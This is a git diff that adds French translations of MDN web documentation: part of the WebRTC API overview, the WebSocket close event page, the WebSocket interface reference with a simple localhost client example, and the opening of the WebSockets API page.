+ <dd>Fournit des informations qui décrivent un transport Stream Control Transmission Protocol (<strong>{{Glossary("SCTP")}}</strong>) et fournit aussi un moeyn d'accéder au transport Datagram Transport Layer Security (<strong>{{Glossary("DTLS")}}</strong>) sur lequel les paquets SCTP pour tous les canaux de données d'un <a href="/fr/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed."><code>RTCPeerConnection</code></a> sont envoyés et reçus.</dd>
+</dl>
+
+<h3 id="Identité_et_sécurité">Identité et sécurité</h3>
+
+<p>L'API WebRTC comprend un certain nombre d'interfaces pour gérer la sécurité et l'identité.</p>
+
+<dl>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>Permet à un agent utilisateur de demander qu'une assertion d'identité soit générée ou validée.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Représente l'identité de l'homologue distant de la connexion actuelle. Si aucun pair n'a encore été défini et vérifié, cette interface renvoie <code>null</code>. Une fois défini, il ne peut pas être modifié.</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>Enregistre un fournisseur d'identité (idP).</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Représente une assertion d'identité générée par un fournisseur d'identité (idP). C'est généralement pour un {{domxref("RTCPeerConnection")}}. Le seul événement envoyé avec ce type est {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Représente une erreur associée au fournisseur d'identité (idP). C'est généralement pour un {{domxref("RTCPeerConnection")}}. Deux événements sont envoyés avec ce type: {{event("idpassertionerror")}} et {{event("idpvalidationerror")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Représente un certificat qu'un {{domxref("RTCPeerConnection")}} utilise pour s'authentifier.</dd>
+</dl>
+
+<h3 id="Téléphonie">Téléphonie</h3>
+
+<p>Ces interfaces sont liées à l'interactivité avec les réseaux téléphoniques publics commutés (RTPC).</p>
+
+<dl>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Gère le codage et la transmission de la signalisation DTMF (Dual-tone multi-frequency) pour une {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Indique l'occurence d'une multi-fréquence bicolore (DTMF). Cet événement ne bouillonne pas (sauf indication contraire) et n'est pas annulable (sauf indication contraire).</dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Introduction aux protocoles WebRTC</a></dt>
+ <dd>Cet article présente les protocoles sur lesquels l'API WebRTC est construite.</dd>
+ <dt><a href="/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture">Connectivité WebRTC</a></dt>
+ <dd>Un guide sur le fonctionnement des connexions WebRTC et sur la manière dont les différents protocoles et interfaces peuvent être utilisés ensemble pour créer de puissantes applications de communication.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Durée de vie d'une session WebRTC</a></dt>
+ <dd>WebRTC vous permet de créer une communication d'égal à égal de données arbitraires, audio ou vidéo - ou toute combinaison de celles-ci - dans une application de navigateur. Dans cet article, nous examinerons la durée de vie d'une session WebRTC, de l'établissement de la connexion à la fermeture de la connexion lorsqu'elle n'est plus nécessaire.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signalisation et appel vidéo bidirectionnel</a></dt>
+ <dd>Un tutoriel et un exemple qui transforme un système de chat basé sur WebSocket créé pour un exemple précédent et ajoute la prise en charge de l'ouverture d'appels vidéo entre les participants. La connexion WebSocket du serveur de discussion est utilisée pour la signalisation WebRTC.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Utilisation des canaux de données WebRTC</a></dt>
+ <dd>Ce guide explique comment utiliser une connexion homologue et un {{domxref("RTCDataChannel")}} associé pour échanger des données arbitraires entre deux homologues.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_DTMF">Utilisation de DTMF avec WebRTC</a></dt>
+ <dd>La prise en charge de WebRTC pour l'interaction avec les passerelles reliées aux systèmes téléphoniques de la vieille école inclut la prise en charge de l'envoi de tonalités DTMF à l'aide de l'interface {{domxref("RTCDTMFSender")}}. Ce guide montre comment procéder.</dd>
+</dl>
+
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Amélioration de la compatibilité à l'aide de WebRTC adapter.js</a></dt>
+ <dd>L'organisation WebRTC <a href="https://github.com/webrtc/adapter/">fournit sur GitHub l'adaptateur WebRTC</a> pour contourner les problèmes de compatibilité dans les implémentations WebRTC de différents navigateurs. L'adaptateur est un shim JavaScript qui permet à votre code d'être écrit selon la spécification afin qu'il "fonctionne simplement" dans tous les navigateurs prenant en charge WebRTC.</dd>
+ <dt><a href="/fr/docs/WebRTC/Prendre_des_photos_avec_la_webcam">Prendre des photos fixes avec WebRTC</a></dt>
+ <dd>Cet article explique comment utiliser WebRTC pour accéder à l'appareil photo sur un ordinateur ou un téléphone mobile avec prise en charge WebRTC et prendre une photo avec.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">Un exemple RTCDataChannel simple</a></dt>
+ <dd>L'interface {{domxref("RTCDataChannel")}} est une fonctionnalité qui vous permet d'ouvrir un canal entre deux pairs sur lequel vous pouvez envoyer et recevoir des données arbitraires. L'API est intentionnellement similaire à l'<a href="/fr/docs/Web/API/WebSockets_API">API WebSocket</a>, de sorte que le même modèle de programmation peut être utilisé pour chacun.</dd>
+</dl>
+
+<h2 id="Ressources">Ressources</h2>
+
+<h3 id="Protocoles">Protocoles</h3>
+
+<h4 id="Protocoles_propres_au_WebRTC">Protocoles propres au WebRTC</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Négociation de protocole de couche application pour les communications Web en temps réel</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>Codec audio WebRTC et exigences de traitement</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>Canaux de données RTCWeb</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>Protocole de canal de données RTCWeb</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Communication Web en temps réel (WebRTC): transport multimédia et utilisation de RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>Architecture de sécurité WebRTC</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports pour RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Protocoles_de_support_associés">Protocoles de support associés</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Établissement de connectivité interactif (ICE): un protocole pour la traversée du traducteur d'adresses réseau (NAT) pour le protocole offre / réponse</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Utilitaires de traversée de session pour NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>Schéma d'URI pour les utilitaires de traversée de session pour le protocole NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversée à l'aide de relais autour des identificateurs de ressources uniformes NAT (TURN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>Un modèle d'offre / réponse avec protocole de description de session (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Extension des utilitaires de traversée de session pour NAT (STUN) pour l'autorisation de tiers</cite></a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>La définition initiale de l'API de WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>La définition initiale de l'objet véhiculant le flux de contenu multimédia.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>La définition initiale sur la façon d'obtenir un flux de contenu à partir d'éléments DOM</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En plus de ces spécifications définissant l'API nécessaire pour utiliser WebRTC, il existe plusieurs protocoles, répertoriés sous <a href="#Protocols">ressources</a>.</p>
+
+<h2 class="Related_Topics" id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multi-flux et renégociation pour Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering via le brouillard WebRTC avec SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">À l'intérieur du bus de fête: création d'une application Web avec plusieurs flux vidéo en direct + graphiques interactifs</a></li>
+</ul>
diff --git a/files/fr/web/api/websocket/close_event/index.html b/files/fr/web/api/websocket/close_event/index.html
new file mode 100644
index 0000000000..f1ed8b2ff0
--- /dev/null
+++ b/files/fr/web/api/websocket/close_event/index.html
@@ -0,0 +1,72 @@
+---
+title: close
+slug: Web/API/WebSocket/close_event
+translation_of: Web/API/WebSocket/close_event
+---
+<p>Le gestionnaire de fermuture (<strong>close</strong>) est exécuté lorsqu'une connexion avec un socket Web est fermée.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/websockets/">WebSocket</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/WebSockets/WebSockets_reference/WebSocket" title="/en-US/docs/WebSockets/WebSockets_reference/WebSocket">WebSocket</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("open")}}</li>
+ <li>{{event("close")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("message")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebSockets/Writing_WebSocket_client_applications">Ecrire des applications client WebSocket</a></li>
+</ul>
diff --git a/files/fr/web/api/websocket/index.html b/files/fr/web/api/websocket/index.html
new file mode 100644
index 0000000000..61d34d0086
--- /dev/null
+++ b/files/fr/web/api/websocket/index.html
@@ -0,0 +1,374 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+  - API
+  - WebSocket
+  - WebSockets
+translation_of: Web/API/WebSocket
+---
+<p>{{APIRef("Web Sockets API")}}{{ SeeCompatTable() }}</p>
+
+<p>L'objet WebSocket fournit une API permettant la création et la gestion d'une <span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">connexion</span> <a href="/en/WebSockets" title="en/WebSockets">WebSocket</a> avec un serveur, ainsi que l'émission et la réception de données par l'intermédiaire de cette <span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">connexion</span>.</p>
+
+<p>Le constructeur WebSocket accepte deux paramètres, un paramètre obligatoire et un facultatif:</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>URL à laquelle se connecter; ce devrait être l'URL à laquelle le serveur WebSocket répondra.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Une chaîne de caractères spécifiant un protocole, ou <span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">un tableau de chaîne de caractères (plusieurs protocoles)</span>. Ces chaînes sont utilisées pour indiquer les sous-protocoles, afin qu'un même serveur puisse implémenter de multiples sous-protocoles WebSocket (par exemple, vous pourriez souhaiter qu'un serveur soit capable de gérer différents types d'intéractions en fonction du protocole spécifié). Si vous ne passez aucune chaîne de caractères pour le(s) protocole(s), une chaîne vide est utilisée.</dd>
+</dl>
+
+<p>Le constructeur peut lancer des exceptions:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>Le port vers lequel la <span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">connexion</span> est tentée est actuellement bloqué.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Method_overview" name="Method_overview">Vue d'ensemble des méthodes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributs</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribut</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>binaryType</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>Une chaîne de caractères indiquant le type de données binaires transmises par la connexion. Les valeurs possibles sont soit "blob" si des objets DOM {{ domxref("Blob") }} sont utilisés ou "arraybuffer" si des objets <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a> sont utilisés.</td>
+  </tr>
+  <tr>
+   <td><code>bufferedAmount</code></td>
+   <td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td>
+   <td>Le nombre d'octets de données mis en fil d'attente (n'étant pas encore transmis sur le réseau) en effectuant des appels à {{ manch("send") }}. Cette valeur n'est pas remise à zéro quand la connexion est fermée; elle continue d'augmenter si les appels à {{ manch("send") }} persistent. <strong>Lecture seule.</strong></td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>Extensions sélectionnées par le serveur. Actuellement, c'est une chaîne de caractères vide ou une liste des extensions telle que décidée par la connexion.</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{DOMXref("EventListener")}}</td>
+   <td>Un gestionnaire d'évènement à appeler quand la valeur de l'attribut <code>readyState</code> de la connexion WebSocket devient <code>CLOSED</code>. Le gestionnaire reçoit un évènement <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent"><code>CloseEvent</code></a> nommé "close".</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>{{DOMXref("EventListener")}}</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">Un gestionnaire d'évènement à appeler quand une erreur survient</span>. L'évènement est un évènement de base, nommé "error".</td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td>{{DOMXref("EventListener")}}</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">Un gestionnaire d'évènement à appeler</span> quand un message émis par le serveur est reçu. Le gestionnaire reçoit un évènement <a href="/en/WebSockets/WebSockets_reference/MessageEvent" title="en/WebSockets/WebSockets reference/MessageEvent"><code>MessageEvent</code></a> nommé "message".</td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td>{{DOMXref("EventListener")}}</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902); font-size: 14.4444446563721px; line-height: 23.3333339691162px;">Un gestionnaire d'évènement à appeler</span> quand la valeur de l'attribut <code>readyState</code> de la connexion WebSocket devient <code>OPEN</code>; cela indique que la connexion est prête à recevoir et émettre des données. L'évènement est un évènement de base nommé "open".</td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>Une chaîne de caractères indiquant le nom du sous-protocole que le serveur a choisi; ce sera l'une des chaînes spécifiées dans le paramètre <code>protocols</code> lors de la création de l'objet WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code><a href="/en/unsigned_short" title="en/unsigned short">unsigned short</a></code></td>
+   <td>Le statut (actuel) de la connexion; c'est une  valeur de {{ anch("Constantes de statut") }}. <strong>Lecture Seule.</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>L'URL telle que déterminée par le constructeur. C'est toujours une URL absolue. <strong>Lecture Seule.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants" name="Constants">Constantes</h2>
+
+<h3 id="Constantes_de_statut">Constantes de statut</h3>
+
+<p>Ces constantes sont utilisées par l'attribut <code>readyState</code> pour décrire le statut de la connexion WebSocket.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>La connexion n'est pas encore établie.</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>La connexion est établie et prête pour la communication.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSING</code></td>
+   <td><code>2</code></td>
+   <td>La connexion est en train de se fermer.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>3</code></td>
+   <td>La connexion est fermée ou n'a pas pu être établie.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<h3 id="close()" name="close()">close()</h3>
+
+<p>Ferme la connexion Websocket ou abandonne la tentative de connexion. Si la connexion est déjà fermée (statut <code>CLOSED)</code>, cette méthode est sans effet.</p>
+
+<pre class="eval">void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Paramètres</h6>
+
+<dl>
+ <dt><code>code</code> {{ optional_inline() }}</dt>
+ <dd>Une valeur numérique indiquant le code du statut décrivant pourquoi la connexion est fermée. Si ce paramètre n'est pas spécifié, une valeur par défaut de 1000 est utilisée (indiquant une fermeture standard de "transaction terminée"). Voir la <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">liste des codes de statut</a> sur la page de l'évènement <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent"><code>CloseEvent</code></a> pour les valeurs autorisées.</dd>
+ <dt><code>reason</code> {{ optional_inline() }}</dt>
+ <dd>Une chaîne de caractère <em>humainement-compréhensible</em> expliquant pourquoi la connexion est fermée. Cette chaîne ne doit pas excéder 123 octets <span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">(et non </span><strong style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">pas</strong><span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"> caractères) </span>de texte UTF-8.</dd>
+</dl>
+
+<h6 id="Exceptions_lancées">Exceptions lancées</h6>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>Un code invalide a été spécifié.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La chaîne de caractères (paramètre <strong>reason</strong>) est trop longue ou contient des données invalides.</dd>
+</dl>
+
+<h6 id="Notes">Notes</h6>
+
+<p>Concernant Gecko: Cette méthode ne supporte aucun paramètre avant Gecko 8.0 {{ geckoRelease("8.0") }}.</p>
+
+<h3 id="send()" name="send()">send()</h3>
+
+<p>Émet des données vers le serveur via la connexion WebSocket.</p>
+
+<pre class="eval">void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Paramètres</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Une chaîne de caractères à envoyer au serveur.</dd>
+</dl>
+
+<h6 id="Exceptions_lancées_2">Exceptions lancées</h6>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>La connexion n'est pas actuellent ouverte (valeur de l'attribut <em>readyState</em> <code>OPEN)</code>.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La chaîne de caractères contient des données invalides.</dd>
+</dl>
+
+<h6 id="Remarques">Remarques</h6>
+
+<div class="note">
+<p><strong>Note:</strong> L'implémentation de la méthode <code>send()</code> dans Gecko diffère quelques peu des spécifications dans {{Gecko("6.0")}}; Gecko retourne une valeur booléenne (<code>boolean)</code> indiquant si la connexion est toujours ouverte (et, par extension, que les données ont bien été mise en fil d'émission ou émises); cette différence est corrigée dans {{Gecko("8.0")}}.</p>
+
+<p>Sur {{Gecko("11.0")}}, le support d'<code><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a></code> est implémenté, mais pas le type de données {{ domxref("Blob") }}.</p>
+</div>
+
+<h2 id="See_also" name="See_also">Exemple</h2>
+
+<pre class="brush: js">var socket = null;
+try {
+    // Connexion vers un serveur HTTP
+    // prennant en charge le protocole WebSocket ("ws://").
+    socket = new WebSocket("ws://localhost");
+
+    // ----- OU -----
+
+    // Connexion vers un serveur HTTPS
+    // prennant en charge le protocole WebSocket over SSL ("wss://").
+    socket = new WebSocket("wss://localhost");
+} catch (exception) {
+    console.error(exception);
+}
+
+// Récupération des erreurs.
+// Si la connexion ne s'établie pas,
+// l'erreur sera émise ici.
+socket.onerror = function(error) {
+    console.error(error);
+};
+
+// Lorsque la connexion est établie.
+socket.onopen = function(event) {
+    console.log("Connexion établie.");
+
+    // Lorsque la connexion se termine.
+    this.onclose = function(event) {
+        console.log("Connexion terminé.");
+    };
+
+    // Lorsque le serveur envoi un message.
+    this.onmessage = function(event) {
+        console.log("Message:", event.data);
+    };
+
+    // Envoi d'un message vers le serveur.
+    this.send("Hello world!");
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("Websockets")}}</td>
+   <td>Definition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/WebSockets/Writing_WebSocket_client_applications" title="en/WebSockets/Writing WebSocket client applications">Writing WebSocket client applications</a></li>
+ <li><a class="external" href="http://dev.w3.org/html5/websockets/" title="http://dev.w3.org/html5/websockets/">HTML5: WebSockets</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support des sous-protocoles</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,sans-serif; font-size: 15.5555562973022px; line-height: 16px;">Fonctionnalité</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12.222222328186px; line-height: 20px;">Support basique</span></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("7.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12.222222328186px; line-height: 20px;">Support des sous-protocoles</span></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("7.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes_pour_Gecko">Notes pour Gecko</h3>
+
+<p>Avec Gecko 6.0, le constructeur est préfixé; il vous faudra utiliser <code>MozWebSocket()</code>:</p>
+
+<pre class="brush: js">var socket = new MozWebSocket("ws<span class="plain">://www.example.com/socketserver</span>");
+</pre>
+
+<p>L'attribut <code>extensions</code> n'est pas supporté par Gecko avant Gecko 8.0.</p>
+
+<div class="note"><strong>Note:</strong> Avant {{Gecko("11.0")}}, les messages (sur le point d'être émis) envoyés avec la méthode {{ manch("send") }} étaient limités à 16 Mo. Leur taille peut maintenant atteindre 2 Go.</div>
+
+<p>{{ languages ( {"zh-tw": "zh_tw/WebSockets/WebSockets_reference/WebSocket"} ) }}</p>
diff --git a/files/fr/web/api/websockets_api/index.html b/files/fr/web/api/websockets_api/index.html
new file mode 100644
index 0000000000..56a1aab33f
--- /dev/null
+++ b/files/fr/web/api/websockets_api/index.html
@@ -0,0 +1,318 @@
+---
+title: WebSockets
+slug: Web/API/WebSockets_API
+translation_of: Web/API/WebSockets_API
+---
+<p>{{DefaultAPISidebar("Websockets API")}}</p>
+
+<p><strong>WebSocket</strong> est une technologie évoluée qui permet d'ouvrir un canal de communication bidirectionnelle entre un navigateur (côté client) et un serveur. Avec cette API vous pouvez envoyer des messages à un serveur et recevoir ses réponses de manière événementielle sans avoir à aller consulter le serveur pour obtenir une réponse.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note: </strong> Bien que les connexions WebSocket soient fonctionnellement similaires aux sockets standard de type Unix, elles ne sont pas liées.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces  </h2>
+
+<dl>
+ <dt><a href="/fr/docs/WebSockets/Writing_WebSocket_client_applications" title="WebSockets/Writing WebSocket client applications">WebSocket</a></dt>
+ <dd>Interface principale pour se connecter à un serveur WebSocket. Il permet d'envoyer et de recevoir des données sur la connexion.</dd>
+ <dt><a href="/fr/docs/Web/API/CloseEvent">CloseEvent</a></dt>
